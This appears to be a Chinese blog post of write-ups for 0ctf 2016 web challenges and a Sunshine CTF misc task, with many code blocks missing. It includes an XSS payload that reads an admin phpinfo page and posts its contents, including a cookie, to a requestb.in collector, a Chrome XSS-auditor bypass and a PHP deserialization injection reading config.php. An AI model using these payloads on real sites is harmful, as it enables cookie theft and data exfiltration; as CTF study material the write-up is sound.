上个周末打了个叼叼的0ctf,结果“学院派”的愤怒就是看什么题目都是一篇篇文献…web狗简直虐了一地,顺便附上sunshine ctf misc300的writeup(一个没有web题目的比赛Orz)…
0ctf2016
rand2
题目是队友做的,不是很懂,需要碰撞出随机数,在1mins以内。
先给2个别人的writeup:
http://www.isecer.com/ctf/0ctf_2016_web_writeup_rand_2.html
https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/rand_2
首先是题目的源码:
1 |
|
随机数在Keep-live下是可以被预测的。
http://drops.hduisa.cn/archives/365/
预测方法:
state[i] = state[i-3] + state[i-31]
return state[i] >> 1
还有文献:
https://media.blackhat.com/bh-us-12/Briefings/Argyros/BH_US_12_Argyros_PRNG_WP.pdf
1 | #!/usr/bin/env python |
队友告诉我说切片切错了,所以没出flag,OrZ…….
Monkey (跨同源策略)
首先是一个md5碰撞,本以为很麻烦,后来发现其实就是相当于验证码类似的东西。
1 | import random |
然后尝试通过<img><iframe>
读东西,发现由于同源策略怎么都读不到。
看了别人的writeup:
http://www.isecer.com/ctf/0ctf_2016_web_writeup_monkey.html
https://w00tsec.blogspot.jp/2016/03/0ctf-2016-write-up-monkey-web-4.html
知道是通过一些神秘的手段,首先是要通过ajax CORS跨域,然后把域名解析到127.0.0.1,然后记得放在8080端口,在他打开并停留的时候,解析,就可以了Orz(麻麻问我为什么跪着打字)
服务器脚本类似于这样
1 | <script src="jquery.min.js"></script> |
guestbook1 (bypass xss filter)
题目完全是被卡住了,是用了两个黑魔法过判断的,复现了很久才成功。主要是看了这篇博客
http://security.szurek.pl/0ctf-2016-guestbook-1-writeup.html
最叼的是这个人通过猜测几乎复现了题目的源码,有兴趣可以去试试。
稍微测试可以发现<>'"
被过滤,然后username会被放在id和内容两个地方,text这里有一个关于debug的判断
1 | <body> |
有个提示是boss使用的是chrome,本来以为chrome这个是常规环境,其实这里用了一个黑魔法。
关于chrome xss auditor
Before rendering the response in the Document Object Model presented to the user, XSS auditor searches for instances of (malicious) parameters sent in the original request. If a detection is positive, the auditor is triggered and the response is “rewritten” to a non-executable state in the browser DOM.
或许你英文不好,我也是看的半知半解,上面这话的意思就是chrome会检测你的请求,如果有类似于<script>var debug=false</script>
这样的请求,chrome会把这个初始化忽视掉,我们不仅需要忽视这个变量,还需要初始化一下,这里就需要username这里会把传入的值放入id的问题了。
我们需要构造<div id="debug">
至于这里为什么构造id就可以初始化debug的问题,也是比较神奇的。
http://stackoverflow.com/questions/3434278/do-dom-tree-elements-with-ids-become-global-variables
没有很看懂,但是,大概明白debug被初始化一个对象,这样可以调用Orz。
前面的问题都解决了,下面就是要构造domxss请求了。
1 | payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://requestb.in/xxxx",false);xmlhttp.send();' |
由于单引号和双引号被过滤,所以需要用eval+string.fromCharCode的方式来过请求了。
1 | Secret: |
这里注意\会被转义,所以要传入\才是一个
先写个脚本生成message(拖个朋友的上来,直接post出去):
1 | #!/bin/env python |
得到了一些东西:
1 | <html> <!-- change log: use http-only cookie to prevent cookie stealing by xss, so flag is safe in cookie always check /admin/server_info.php for load balancing to do: files and folders permission control, disallow other users write file into uploads folder --> <body> <script>var debug=false;</script> <div id=""> <h2></h2> </div> <div id="text"></div> <script> data = "" t = document.getElementById("text") if(debug){ t.innerHTML=data }else{ t.innerText=data } </script> </body> </html> |
他是说让我们去检查/admin/server_info.php这个文件。打开看是phpinfo()
因为cookie是http-only的,所以通过js的方式是得不到的,但是可以通过request中是始终存在的。
1 | payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/server_info.php",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://requestb.in/xxxx",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("vv="+escape(r));' |
这样就可以得到他的Phpinfo()
1 | <td class="e">_COOKIE["flag"]</td><td class="v">0ctf{httponly_sometimes_not_so_secure}</td></tr> <tr><td class="e">_COOKIE["admin"]</td><td class="v">salt_is_admin</td></tr> |
最后这一步不知道为什么没办法复现,朋友给我了他的php接受方式
1 | <?php |
这样就可以接收到get.txt,打开看就get了…
piapiapia(php反序列化逃逸字符)
先给别人的writeup
http://www.isecer.com/ctf/0ctf_2016_web_writeup_piapiapia.html
源码就懒得传了,有兴趣可以问我要,通读一遍发现问题可能出在序列化上面,先看看过滤
1 | public function filter($string) { |
感觉问题在update.php上
1 | $profile['phone'] = $_POST['phone']; |
有一个有问题的判断是nickname的判断
1 | if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) |
研究了下如果传入的是数组的话,这里的两个判断都能过
正常传入的话,是正常的语句
1 | a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"email@email.email";s:8:"nickname";a:1:{i:0;s:3:"xxx";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";} |
序列化室友严格的长度的,如果长度错误,解序列化就是会报错停止。
我们需要试图构造一个nickname[]=xxx";}s:5:"photo";s:10:"config.php
这样如果溢出,就能读取config.php的信息。
这里有个问题一直没想明白,看了writeup才知道这里是通过filter里的where->hacker会溢出一个字符,这样如果传入和需要溢出的一样长的where,就会溢出一个完整的请求,就不会报错。
1 | nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php |
get!
guestbook2
writeup还没出,先占坑。
1 | total 100 |
发现了flag,但是读不了,看到有个flag_reader,跑一下就好。
权限比较高,翻翻别的
1 | total 20 drwxr-xr-x 5 root root 4096 Mar 9 13:59 . |
gusetbook没东西,看看本目录吧
1 | total 36 drwxr-xr-x 5 root root 4096 Mar 13 14:02 . |
sunshine ctf2016
感觉挺有意思的一个比赛,是佛罗里达大学举办的ctf,所有的题目不是misc就是pwn,感觉比较坑,但是由于大部分题目比较基础,挺有意思的,尤其是做了一道比较有意思的misc题目。
Floridaman found this cool new invite only internet relay chat service but he can’t figure out how to actually get an invite… since you’re not a part of the Florida education system, maybe you can figure it out. http://4.31.182.246:4567
题意大概是说佛罗里达man想进一个聊天室,但是不知道怎么获得邀请,打开站发现有个地方输入freenode上的频道和密码,那么就输入一个吧,在freenode上进入聊天室发现进来了一个陌生人说
输入!flag
先fuzz一下发现要输入12个字符,然后包括Flagrsd810这几个,然后经过长达1个小时的测试发现,每个字符后面可以跟的字符不同,唯有F是后面可以跟除自己以外的数字,8是一定要放在最后面,发现了一些规律后就测试吧…
1 | #!/usr/bin/env python |
经过反复的测试可以测试出如果可以把这10个字母按顺序放进去,可是居然还有2个重复的呢,又是一顿fuzzing
1 | #!/usr/bin/env python |
然后发现居然是佛罗里达….mdzz….这就是文化差异啊…..